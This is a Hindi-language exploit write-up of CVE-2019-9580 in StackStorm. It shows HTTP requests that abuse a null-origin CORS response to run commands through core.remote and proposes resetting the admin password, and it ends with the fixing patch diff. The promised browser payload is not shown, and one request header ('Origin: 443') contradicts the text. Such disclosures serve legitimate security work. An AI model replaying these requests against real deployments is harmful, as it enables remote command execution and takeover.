
CVE-2019-9580 - StackStorm: CORS गलत कॉन्फ़िगरेशन (null origin) का शोषण करके RCE प्राप्त करना
2.10.3/2.9.3 से पहले, यदि अनुरोध का origin अज्ञात था, तो हम null लौटाते थे। null कुछ क्लाइंट्स में अज्ञात origin से सफल अनुरोध का कारण बन सकता है। जिससे StackStorm API पर XSS शैली के हमलों की संभावना बनती है।
द्वारा खोजा गया: Barak Tawily और Anna Tsibulskaya
(Firefox पर उपयोगकर्ता पीड़ित है, Chrome पर उपयोगकर्ता हमलावर है)
StackStorm API को Origin: null हेडर के साथ अनुरोध भेजकर, सर्वर Access-Control-Allow-Origin को null के रूप में जवाब देता है।
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
Host: localhost:4443
Origin: 443
Referer: https://localhost:4443/
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
सर्वर प्रतिक्रिया:
Access-Control-Allow-Origin: null <-- hug hug hug
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID
null CORS का शोषण portswigger के ब्लॉगपोस्ट में प्रलेखित है और हम निम्नलिखित पेलोड पा सकते हैं:
StackStorm आपको actions कॉन्फ़िगर करने की सुविधा देता है और उनमें से कुछ जैसे core.remote आपकी पसंद के होस्ट पर मनमाना कमांड निष्पादित करते हैं।

इसलिए यदि हम होस्ट 127.0.0.1 डालते हैं, तो हम StackStorm डॉकर पर कमांड निष्पादित करेंगे। बढ़िया, RCE ठीक होना चाहिए क्योंकि एक action पंजीकृत करने के लिए केवल एक साधारण POST अनुरोध भेजा जाता है।
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131
{"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}
हम StackStorm के होस्ट पर कमांड निष्पादित कर सकते हैं, ठीक है, लेकिन आइए StackStorm प्लेटफ़ॉर्म पर पूर्ण नियंत्रण प्राप्त करें। यह व्यवस्थापक का पासवर्ड रीसेट करके किया जा सकता है। दस्तावेज़ का उपयोग करते हुए:
पासवर्ड बदलने की आवश्यकता है? चलाएँ: sudo htpasswd /etc/st2/htpasswd st2admin. https://docs.stackstorm.com/authentication.html
बढ़िया, आइए सब कुछ एक साथ रखें:
Origin: null हेडर के साथ अनुरोध भेजा जाता है, नए action को पंजीकृत करने के लिए POST अनुरोध काम करता है (हम पैरामीटर credentials: "include" भी सेट करते हैं)
सुरक्षा सलाह (Security Advisory):
From 66605b7b202b8bd2db1ccd8c1ce7279028ac86d4 Mon Sep 17 00:00:00 2001
From: bigmstone <[email protected]>
Date: Tue, 5 Mar 2019 12:22:26 -0600
Subject: [PATCH] Fix improper CORS return
Prior to this commit if you sent a request from an origin not listed in
`allowed_origins` we would respond with `null` for the
`Access-Control-Allow-Origin` header. Per
[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives](mozilla's documentation)
null should not be used as some clients will allow the request to go
through. This commit returns the first of our allowed origins if the
requesting origin is not a supported origin.
---
st2api/tests/unit/controllers/v1/test_base.py | 4 ++--
st2common/st2common/middleware/cors.py | 2 +-
2 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/st2api/tests/unit/controllers/v1/test_base.py b/st2api/tests/unit/controllers/v1/test_base.py
index 2a753f22ea..e66148a0a5 100644
--- a/st2api/tests/unit/controllers/v1/test_base.py
+++ b/st2api/tests/unit/controllers/v1/test_base.py
@@ -51,8 +51,8 @@ def test_wrong_origin(self):
'origin': 'http://xss'
})
self.assertEqual(response.status_int, 200)
- self.assertEqual(response.headers['Access-Control-Allow-Origin'],
- 'null')
+ self.assertEqual(response.headers.get('Access-Control-Allow-Origin'),
+ 'http://127.0.0.1:3000')
def test_wildcard_origin(self):
try:
diff --git a/st2common/st2common/middleware/cors.py b/st2common/st2common/middleware/cors.py
index 5781b1a6e7..8cb407b52c 100644
--- a/st2common/st2common/middleware/cors.py
+++ b/st2common/st2common/middleware/cors.py
@@ -66,7 +66,7 @@ def custom_start_response(status, headers, exc_info=None):
origin_allowed = origin
else:
# See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header
- origin_allowed = origin if origin in origins else 'null'
+ origin_allowed = origin if origin in origins else list(origins)[0]
else:
origin_allowed = list(origins)[0]